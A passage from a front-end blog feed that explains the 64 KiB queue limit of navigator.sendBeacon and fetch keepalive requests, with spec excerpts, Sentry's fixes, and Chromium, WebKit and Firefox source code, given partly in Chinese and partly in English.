上只會看到請求變成 pending，但是在 Safari 上會出現貼心的提示：</p><blockquote><p>Beacon API cannot load <a href="https://httpstat.us/200?log7">https://httpstat.us/200?log7</a>. Reached maximum amount of queued data of 64Kb for keepalive requests</p></blockquote><p>直接用這個錯誤訊息就可以找到相關的原始碼，在 <a href="https://github.com/WebKit/WebKit/blob//WebKit-7620.1.16.111.5/Source/WebCore/loader/cache/CachedResource.cpp#L249">WebKit&#x2F;Source&#x2F;WebCore&#x2F;loader&#x2F;cache&#x2F;CachedResource.cpp</a>：</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token keyword">if</span> <span class="token punctuation">(</span>    m_options<span class="token punctuation">.</span>keepAlive <span class="token operator">&amp;&amp;</span> <span class="token function">type</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">!=</span> Type<span class="token double-colon punctuation">::</span>Ping <span class="token operator">&amp;&amp;</span>    <span class="token operator">!</span>cachedResourceLoader<span class="token punctuation">.</span><span class="token function">keepaliveRequestTracker</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">tryRegisterRequest</span><span class="token punctuation">(</span><span class="token operator">*</span><span class="token keyword">this</span><span class="token punctuation">)</span>  <span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token function">setResourceError</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span>      errorDomainWebKitInternal<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> request<span class="token punctuation">.</span><span class="token function">url</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span>      <span class="token string">"Reached maximum amount of queued data of 64Kb for keepalive requests"</span>_s<span class="token punctuation">,</span>      ResourceError<span class="token double-colon punctuation">::</span>Type<span class="token double-colon punctuation">::</span>AccessControl    <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">failBeforeStarting</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">return</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>如果是 keepalive，而且 type 不是 ping（sendBeacon 的 type 會是 <code>Type::Beacon</code>），又沒辦法註冊新的請求，就回傳這個錯誤。</p><p>因此重點就是 <code>keepaliveRequestTracker().tryRegisterRequest</code> 這個方法了，在 <a href="https://github.com/WebKit/WebKit/blob/WebKit-7620.1.16.111.5/Source/WebCore/loader/cache/KeepaliveRequestTracker.cpp">Source&#x2F;WebCore&#x2F;loader&#x2F;cache&#x2F;KeepaliveRequestTracker.cpp</a>：</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token keyword">const</span> <span class="token keyword">uint64_t</span> maxInflightKeepaliveBytes <span class="token punctuation">&#123;</span> <span class="token number">65536</span> <span class="token punctuation">&#125;</span><span class="token punctuation">;</span> <span class="token comment">// 64 kibibytes as per Fetch specification.</span><span class="token keyword">bool</span> <span class="token class-name">KeepaliveRequestTracker</span><span class="token double-colon punctuation">::</span><span class="token function">tryRegisterRequest</span><span class="token punctuation">(</span>CachedResource<span class="token operator">&amp;</span> resource<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token function">ASSERT</span><span class="token punctuation">(</span>resource<span class="token punctuation">.</span><span class="token function">options</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span>keepAlive<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">auto</span> body <span class="token operator">=</span> resource<span class="token punctuation">.</span><span class="token function">resourceRequest</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">httpBody</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>body<span class="token punctuation">)</span>        <span class="token keyword">return</span> <span class="token boolean">true</span><span class="token punctuation">;</span>    <span class="token keyword">uint64_t</span> bodySize <span class="token operator">=</span> body<span class="token operator">-></span><span class="token function">lengthInBytes</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span>m_inflightKeepaliveBytes <span class="token operator">+</span> bodySize <span class="token operator">></span> maxInflightKeepaliveBytes<span class="token punctuation">)</span>        <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span>    <span class="token function">registerRequest</span><span class="token punctuation">(</span>resource<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">return</span> <span class="token boolean">true</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>其實也就只是算一下還在等待的有多少，加上去會不會超過最大值 65536，做的事情跟 Sentry 最後的那個 PR 差不多。</p><h3><span id="firefox-的-sendbeacon-實作">Firefox 的 sendBeacon 實作</span></h3><p>在之前 Sentry 的 PR 中其實就有提到 Firefox 不支援 keepalive，對應到的 ticket 是這張：<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1342484">[meta] Support Fetch keepalive flag and enforce limit on inflight keepalive bytes</a>，目前還沒被關閉，從討論中看起來似乎半年前開始有了進展，在 2024 年 11 月推出的 Firefox 133 版本中正式開始支援，雖然還有一些 bug，但應該會越來越穩定。</p><p>我用三個瀏覽器測試了一個情境，送出 10 個長度 6 萬的字串：</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript">  <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token keyword">let</span> i<span class="token operator">=</span><span class="token number">1</span><span class="token punctuation">;</span> i<span class="token operator">&lt;=</span><span class="token number">10</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    navigator<span class="token punctuation">.</span><span class="token function">sendBeacon</span><span class="token punctuation">(</span><span class="token string">"https://httpstat.us/200?log"</span><span class="token operator">+</span>i<span class="token punctuation">,</span> <span class="token string">'A'</span><span class="token punctuation">.</span><span class="token function">repeat</span><span class="token punctuation">(</span><span class="token number">60000</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>Chrome 跟 Safari 都只送出了一個請求，但是 Firefox 133.0.3  倒是很貼心地全部都送出去了，目前還沒有 64 KiB 的限制：</p><p><img src="/img/navigator-sendbeacon-64kib-and-source-code/p7.png" alt="Firefox 截圖"></p><p>如果有人好奇底層實作，程式碼在這裡：<a href="https://github.com/mozilla/gecko-dev/blob/94c62970ba2f9c40efd5a4f83a538595425820d9/dom/base/Navigator.cpp#L1163">gecko-dev&#x2F;dom&#x2F;base&#x2F;Navigator.cpp</a>，目前看起來應該還沒把 keepalive 整進去，所以才沒有觸發到上限。未來應該會按照 spec 走，使用 keepalive 請求，並且遵守 payload 的大小限制。</p><h2><span id="結語">結語</span></h2><p>小功能大學問，一個看似簡單的 <code>sendBeacon</code>，其實深入研究之後也滿有趣的，知道了它的限制、解法，也能從 Sentry 的修補過程中學到一些經驗，還看了瀏覽器的原始碼，更理解背後的實作。</p><p>總之呢，在實務上若是要使用 <code>sendBeacon</code>，都請記得加個錯誤處理，在回傳值是 false 時，改成一般的 fetch 或是加上重試機制，才能加強資料傳輸的穩定性。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;當你想在網頁上向 server 發送一些 tracking 相關的資訊時，比起直接用 &lt;code&gt;fetch&lt;/code&gt; 送出請求，有另一個通常會被推薦的選擇：&lt;code&gt;navigator.sendBeacon&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;為什麼會推薦這個呢？&lt;/p&gt;
&lt;p&gt;因為如果是用一般送出請求的方法，在使用者把頁面關掉或是跳轉的時候可能會有問題，例如說剛好在關掉頁面時發送請求，這個請求可能就送不出去，隨著頁面關閉一起被取消了。&lt;/p&gt;
&lt;p&gt;雖然說可以利用一些方法嘗試強制送出請求，但這些方法通常都會傷害使用者體驗，例如說強制讓頁面晚一點關閉，或是送出一個同步的請求之類的。&lt;/p&gt;
&lt;p&gt;而 &lt;code&gt;navigator.sendBeacon&lt;/code&gt; 就是為了解決這個問題而生的。&lt;/p&gt;</summary>
    
    
    
    <category term="Front-end" scheme="https://blog.huli.tw/categories/Front-end/"/>
    
    
    <category term="Front-end" scheme="https://blog.huli.tw/tags/Front-end/"/>
    
  </entry>
  
  <entry>
    <title>The 64KiB Limitation of navigator.sendBeacon and its implementation</title>
    <link href="https://blog.huli.tw/2025/01/06/en/navigator-sendbeacon-64kib-and-source-code/"/>
    <id>https://blog.huli.tw/2025/01/06/en/navigator-sendbeacon-64kib-and-source-code/</id>
    <published>2025-01-06T02:40:00.000Z</published>
    <updated>2025-02-28T12:44:35.459Z</updated>
    
    <content type="html"><![CDATA[<p>When you want to send some tracking-related information to the server from a webpage, there is another option that is often recommended over directly using <code>fetch</code> to send requests: <code>navigator.sendBeacon</code>.</p><p>Why is this recommended?</p><p>Because if you use the usual method of sending requests, there may be issues when the user closes the page or navigates away. For example, if a request is sent just as the page is being closed, that request may not go through and could be canceled along with the page closure.</p><p>Although there are ways to try to force the request to be sent, these methods often harm the user experience, such as forcing the page to close later or sending a synchronous request.</p><p><code>navigator.sendBeacon</code> was created to solve this problem.</p><span id="more"></span><p>As stated in the <a href="https://w3c.github.io/beacon/">spec</a>:</p><blockquote><p>This specification defines an interface that web developers can use to schedule asynchronous and non-blocking delivery of data that minimizes resource contention with other time-critical operations, while ensuring that such requests are still processed and delivered to destination</p><p>This specification defines an interface for web developers to schedule asynchronous and non-blocking data transmission, minimizing resource contention with other time-sensitive operations while ensuring that these requests can still be processed and delivered to the target location.</p></blockquote><p>The usage is also very simple:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">navigator<span class="token punctuation">.</span><span class="token function">sendBeacon</span><span class="token punctuation">(</span><span class="token string">"/log"</span><span class="token punctuation">,</span> payload<span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>This will send a POST request to <code>/log</code>.</p><p>Although it is simple and easy to use, one important point to note is that the payload being sent has a size limit, and this limit is not just for a single request.</p><h2><span id="payload-limit-of-navigatorsendbeacon">Payload Limit of navigator.sendBeacon</span></h2><p>The payload limit for <code>sendBeacon</code> is 64 KiB, equivalent to 65536 bytes. If the payload consists entirely of English characters, since each character is one byte, that means 65536 characters.</p><p>If you exceed this size, you will find that the request cannot be sent and remains in a pending state:</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript">  navigator<span class="token punctuation">.</span><span class="token function">sendBeacon</span><span class="token punctuation">(</span><span class="token string">"/log"</span><span class="token punctuation">,</span> <span class="token string">'A'</span><span class="token punctuation">.</span><span class="token function">repeat</span><span class="token punctuation">(</span><span class="token number">65536</span> <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p><img src="/img/navigator-sendbeacon-64kib-and-source-code/p1.png" alt="Forever pending"></p><p>Moreover, this limitation is not just for a single request; there is a queue behind it, and this queue will not accept new items if it exceeds 65536 bytes.</p><p>For example, when we continuously send 8 requests of 10000 characters each:</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript">  <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token keyword">let</span> i<span class="token operator">=</span><span class="token number">1</span><span class="token punctuation">;</span> i<span class="token operator">&lt;=</span><span class="token number">8</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    navigator<span class="token punctuation">.</span><span class="token function">sendBeacon</span><span class="token punctuation">(</span><span class="token string">"https://httpstat.us/200?log"</span><span class="token operator">+</span>i<span class="token punctuation">,</span> <span class="token string">'A'</span><span class="token punctuation">.</span><span class="token function">repeat</span><span class="token punctuation">(</span><span class="token number">10000</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>You will find that the last two requests remain in a pending state and cannot be sent:</p><p><img src="/img/navigator-sendbeacon-64kib-and-source-code/p2.png" alt="Exceeding the queue limit will keep it pending"></p><p>This is because the first six <code>sendBeacon</code> calls have already filled the queue to 60000, so the last two cannot fit, and thus cannot accept new requests, remaining in a pending state without actively trying to push new ones in when the queue is empty.</p><p>However, strictly speaking, this is not actually a problem with <code>sendBeacon</code>, but rather a limitation that comes with fetch combined with keepalive. In fact, the underlying implementation of <code>navigator.sendBeacon</code> is fetch combined with keepalive.</p><h2><span id="the-specification-of-navigatorsendbeacon-and-a-short-story-about-sentry">The Specification of navigator.sendBeacon and a Short Story about Sentry</span></h2><p>In the specification section <a href="https://w3c.github.io/beacon/#sec-processing-model">3.2 Processing Model</a>, step six mentions the queue we just discussed:</p><p><img src="/img/navigator-sendbeacon-64kib-and-source-code/p3.png" alt="Queue in the spec"></p><p>If it is determined that the request cannot fit into the queue, <code>sendBeacon</code> will return false.</p><p>This is actually the solution when the payload encounters a problem. After calling <code>sendBeacon</code>, check if the return value is false. If it is, proceed to handle it, deciding whether to fallback to a regular fetch or implement a retry mechanism.</p><p>The seventh step is what <code>sendBeacon</code> primarily does: it creates a keepalive request and sends it out:</p><p><img src="/img/navigator-sendbeacon-64kib-and-source-code/p4.png" alt="keepalive section"></p><p>The payload limit for fetch + keepalive is 64 KiB, which is stated in the <a href="https://fetch.spec.whatwg.org/#http-network-or-cache-fetch">spec</a>:</p><p><img src="/img/navigator-sendbeacon-64kib-and-source-code/fetch-spec.png" alt="fetch spec"></p><p>The error tracking service Sentry actually encountered this issue in the past. In 2018, it was discovered that Sentry had keepalive enabled by default when using fetch, causing some requests over 65536 bytes to fail to send. As a result, this flag was removed:</p><p><img src="/img/navigator-sendbeacon-64kib-and-source-code/p5.png" alt="Sentry issue"></p><p>Source: <a href="https://github.com/getsentry/sentry-javascript/issues/1464">When fetch is used keepalive is the default, and Chrome only allows a POST body &lt;&#x3D; 65536 bytes in that scenario #1464</a>, the removed PR: <a href="https://github.com/getsentry/sentry-javascript/pull/1496">ref: Remove keepalive:true as a default and document payload size #1496</a></p><p>Two years later, in 2020, someone discovered the specifications and correct usage of keepalive: <a href="https://github.com/getsentry/sentry-javascript/issues/2547">Fetch KeepAlive #2547</a>, proposing to use keepalive under the payload allowance, and not to use it if exceeded, rather than not using it at all as was the case then.</p><p>However, no action was taken at that time. It was another two years later, in 2022, when someone found that Chrome cancels all requests during navigation, causing some requests to fail to send, leading to the idea of using keepalive to solve this.</p><p>Thus, in September 2022, it was added back with insightful comments:</p><p><a href="https://github.com/getsentry/sentry-javascript/issues/2547">feat(browser): Use fetch keepalive flag #5697</a></p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">// Outgoing requests are usually cancelled when navigating to a different page, causing a "TypeError: Failed to</span><span class="token comment">// fetch" error and sending a "network_error" client-outcome - in Chrome, the request status shows "(cancelled)".</span><span class="token comment">// The `keepalive` flag keeps outgoing requests alive, even when switching pages. We want this since we're</span><span class="token comment">// frequently sending events right before the user is switching pages (eg. whenfinishing navigation transactions).</span><span class="token comment">// Gotchas:</span><span class="token comment">// - `keepalive` isn't supported by Firefox</span><span class="token comment">// - As per spec (https://fetch.spec.whatwg.org/#http-network-or-cache-fetch), a request with `keepalive: true`</span><span class="token comment">//   and a content length of > 64 kibibytes returns a network error. We will therefore only activate the flag when</span><span class="token comment">//   we're below that limit.</span><span class="token literal-property property">keepalive</span><span class="token operator">:</span> request<span class="token punctuation">.</span>body<span class="token punctuation">.</span>length <span class="token operator">&lt;=</span> <span class="token number">65536</span><span class="token punctuation">,</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>Machine translation from Chinese:</p><blockquote><p>When switching to a different page, unfinished requests are often canceled, leading to a “TypeError: Failed to fetch” error and a “network_error” message. In Chrome, the request status shows “(cancelled)”.<br>The keepalive flag allows unfinished requests to remain active during page transitions. Since we often send events before users switch pages, this functionality is necessary.</p><p>Important to note:</p><ol><li>Firefox does not support keepalive.</li><li>According to the specification, if a request is set with keepalive: true and the content length exceeds 64 KiB, a network error will be returned. Therefore, we will only enable this flag when the request content length is below that limit.</li></ol></blockquote><p>But the story doesn’t end here. As I mentioned earlier, this 65536 limit is not just for a single request, but there is a queue, so this approach is insufficient. Six months later, Sentry also noticed this issue and added logic to calculate the queue size, making the entire mechanism more robust: <a href="https://github.com/getsentry/sentry-javascript/pull/7553">fix(browser): Ensure keepalive flag is correctly set for parallel requests #7553</a></p><p><img src="/img/navigator-sendbeacon-64kib-and-source-code/p6.png" alt="Issue screenshot"></p><p>If you want to implement something similar in the future, you can directly refer to the above Sentry PR.</p><h2><span id="implementation-of-sendbeacon">Implementation of sendBeacon</span></h2><h3><span id="implementation-of-sendbeacon-in-chromium">Implementation of sendBeacon in Chromium</span></h3><p>Finally, let’s take a look at the underlying implementation of sendBeacon, starting with Chromium. I will use the latest stable version 131.0.6778.205 at the time of writing this article as an example. The relevant code can be found at: <a href="https://source.chromium.org/chromium/chromium/src/+/refs/tags/131.0.6778.205:third_party/blink/renderer/modules/beacon/navigator_beacon.cc;l=93">third_party&#x2F;blink&#x2F;renderer&#x2F;modules&#x2F;beacon&#x2F;navigator_beacon.cc</a></p><p>I have extracted a small segment of the core code:</p><pre class="line-numbers language-c" data-language="c"><code class="language-c">bool NavigatorBeacon<span class="token operator">::</span><span class="token function">SendBeaconImpl</span><span class="token punctuation">(</span>    ScriptState<span class="token operator">*</span> script_state<span class="token punctuation">,</span>    <span class="token keyword">const</span> String<span class="token operator">&amp;</span> url_string<span class="token punctuation">,</span>    <span class="token keyword">const</span> V8UnionReadableStreamOrXMLHttpRequestBodyInit<span class="token operator">*</span> data<span class="token punctuation">,</span>    ExceptionState<span class="token operator">&amp;</span> exception_state<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  ExecutionContext<span class="token operator">*</span> execution_context <span class="token operator">=</span> ExecutionContext<span class="token operator">::</span><span class="token function">From</span><span class="token punctuation">(</span>script_state<span class="token punctuation">)</span><span class="token punctuation">;</span>  KURL url <span class="token operator">=</span> execution_context<span class="token operator">-></span><span class="token function">CompleteURL</span><span class="token punctuation">(</span>url_string<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token function">CanSendBeacon</span><span class="token punctuation">(</span>execution_context<span class="token punctuation">,</span> url<span class="token punctuation">,</span> exception_state<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">return</span> false<span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  bool allowed<span class="token punctuation">;</span>  LocalFrame<span class="token operator">*</span> frame <span class="token operator">=</span> <span class="token function">GetSupplementable</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">DomWindow</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">GetFrame</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span>data<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">switch</span> <span class="token punctuation">(</span>data<span class="token operator">-></span><span class="token function">GetContentType</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      <span class="token comment">// [...]</span>      <span class="token keyword">case</span> V8UnionReadableStreamOrXMLHttpRequestBodyInit<span class="token operator">::</span>ContentType<span class="token operator">::</span>          kUSVString<span class="token operator">:</span>        UseCounter<span class="token operator">::</span><span class="token function">Count</span><span class="token punctuation">(</span>execution_context<span class="token punctuation">,</span>                          WebFeature<span class="token operator">::</span>kSendBeaconWithUSVString<span class="token punctuation">)</span><span class="token punctuation">;</span>        allowed <span class="token operator">=</span> PingLoader<span class="token operator">::</span><span class="token function">SendBeacon</span><span class="token punctuation">(</span><span class="token operator">*</span>script_state<span class="token punctuation">,</span> frame<span class="token punctuation">,</span> url<span class="token punctuation">,</span>                                         data<span class="token operator">-></span><span class="token function">GetAsUSVString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">break</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span> <span class="token keyword">else</span> <span class="token punctuation">&#123;</span>    allowed <span class="token operator">=</span> PingLoader<span class="token operator">::</span><span class="token function">SendBeacon</span><span class="token punctuation">(</span><span class="token operator">*</span>script_state<span class="token punctuation">,</span> frame<span class="token punctuation">,</span> url<span class="token punctuation">,</span> <span class="token function">String</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>allowed<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    UseCounter<span class="token operator">::</span><span class="token function">Count</span><span class="token punctuation">(</span>execution_context<span class="token punctuation">,</span> WebFeature<span class="token operator">::</span>kSendBeaconQuotaExceeded<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">return</span> allowed<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>The beginning of <code>CanSendBeacon</code> basically checks whether the URL is valid. If it is valid, it continues to check the content type of the payload to be sent, and the actual sending occurs in the <code>PingLoader::SendBeacon</code> method.</p><p>In addition, you can see <code>UseCounter::Count</code> in the code, which is used by Chromium to track the usage frequency of certain features.</p><p>The implementation of <code>PingLoader::SendBeacon</code> can be found at <a href="https://source.chromium.org/chromium/chromium/src/+/refs/tags/131.0.6778.205:third_party/blink/renderer/core/loader/ping_loader.cc">third_party&#x2F;blink&#x2F;renderer&#x2F;core&#x2F;loader&#x2F;ping_loader.cc</a>:</p><pre class="line-numbers language-c" data-language="c"><code class="language-c">bool <span class="token function">SendBeaconCommon</span><span class="token punctuation">(</span><span class="token keyword">const</span> ScriptState<span class="token operator">&amp;</span> state<span class="token punctuation">,</span>                      LocalFrame<span class="token operator">*</span> frame<span class="token punctuation">,</span>                      <span class="token keyword">const</span> KURL<span class="token operator">&amp;</span> url<span class="token punctuation">,</span>                      <span class="token keyword">const</span> BeaconData<span class="token operator">&amp;</span> beacon<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>frame<span class="token operator">-></span><span class="token function">DomWindow</span><span class="token punctuation">(</span><span class="token punctuation">)</span>           <span class="token operator">-></span><span class="token function">GetContentSecurityPolicyForWorld</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>state<span class="token punctuation">.</span><span class="token function">World</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>           <span class="token operator">-></span><span class="token function">AllowConnectToSource</span><span class="token punctuation">(</span>url<span class="token punctuation">,</span> url<span class="token punctuation">,</span> RedirectStatus<span class="token operator">::</span>kNoRedirect<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token comment">// We're simulating a network failure here, so we return 'true'.</span>    <span class="token keyword">return</span> true<span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  ResourceRequest <span class="token function">request</span><span class="token punctuation">(</span>url<span class="token punctuation">)</span><span class="token punctuation">;</span>  request<span class="token punctuation">.</span><span class="token function">SetHttpMethod</span><span class="token punctuation">(</span>http_names<span class="token operator">::</span>kPOST<span class="token punctuation">)</span><span class="token punctuation">;</span>  request<span class="token punctuation">.</span><span class="token function">SetKeepalive</span><span class="token punctuation">(</span>true<span class="token punctuation">)</span><span class="token punctuation">;</span>  request<span class="token punctuation">.</span><span class="token function">SetRequestContext</span><span class="token punctuation">(</span>mojom<span class="token operator">::</span>blink<span class="token operator">::</span>RequestContextType<span class="token operator">::</span>BEACON<span class="token punctuation">)</span><span class="token punctuation">;</span>  beacon<span class="token punctuation">.</span><span class="token function">Serialize</span><span class="token punctuation">(</span>request<span class="token punctuation">)</span><span class="token punctuation">;</span>  FetchParameters <span class="token function">params</span><span class="token punctuation">(</span>std<span class="token operator">::</span><span class="token function">move</span><span class="token punctuation">(</span>request<span class="token punctuation">)</span><span class="token punctuation">,</span>                         <span class="token function">ResourceLoaderOptions</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>state<span class="token punctuation">.</span><span class="token function">World</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">// The spec says:</span>  <span class="token comment">//  - If mimeType is not null:</span>  <span class="token comment">//   - If mimeType value is a CORS-safelisted request-header value for the</span>  <span class="token comment">//     Content-Type header, set corsMode to "no-cors".</span>  <span class="token comment">// As we don't support requests with non CORS-safelisted Content-Type, the</span>  <span class="token comment">// mode should always be "no-cors".</span>  params<span class="token punctuation">.</span><span class="token function">MutableOptions</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span>initiator_info<span class="token punctuation">.</span>name <span class="token operator">=</span>      fetch_initiator_type_names<span class="token operator">::</span>kBeacon<span class="token punctuation">;</span>  frame<span class="token operator">-></span><span class="token function">Client</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">DidDispatchPingLoader</span><span class="token punctuation">(</span>url<span class="token punctuation">)</span><span class="token punctuation">;</span>  FetchUtils<span class="token operator">::</span><span class="token function">LogFetchKeepAliveRequestMetric</span><span class="token punctuation">(</span>      params<span class="token punctuation">.</span><span class="token function">GetResourceRequest</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">GetRequestContext</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span>      FetchUtils<span class="token operator">::</span>FetchKeepAliveRequestState<span class="token operator">::</span>kTotal<span class="token punctuation">)</span><span class="token punctuation">;</span>  Resource<span class="token operator">*</span> resource <span class="token operator">=</span>      RawResource<span class="token operator">::</span><span class="token function">Fetch</span><span class="token punctuation">(</span>params<span class="token punctuation">,</span> frame<span class="token operator">-></span><span class="token function">DomWindow</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">Fetcher</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> nullptr<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">return</span> resource<span class="token operator">-></span><span class="token function">GetStatus</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">!=</span> ResourceStatus<span class="token operator">::</span>kLoadError<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>It first checks for CSP violations. If there are none, it sends a keepalive request and returns whether it was successful.</p><p>It is worth noting that in the same file, there is another function that does something similar, called <code>PingLoader::SendLinkAuditPing</code>. There is an attribute called <code>ping</code> on the <code>&lt;a&gt;</code> tag, and when the user clicks the link, the browser sends a request to the location specified by the ping:</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>a</span>  <span class="token attr-name">href</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>https://example.com<span class="token punctuation">"</span></span>  <span class="token attr-name">ping</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>https://blog.huli.tw<span class="token punctuation">"</span></span>  <span class="token punctuation">></span></span>click me<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>a</span><span class="token punctuation">></span></span><span aria-hidden="true" 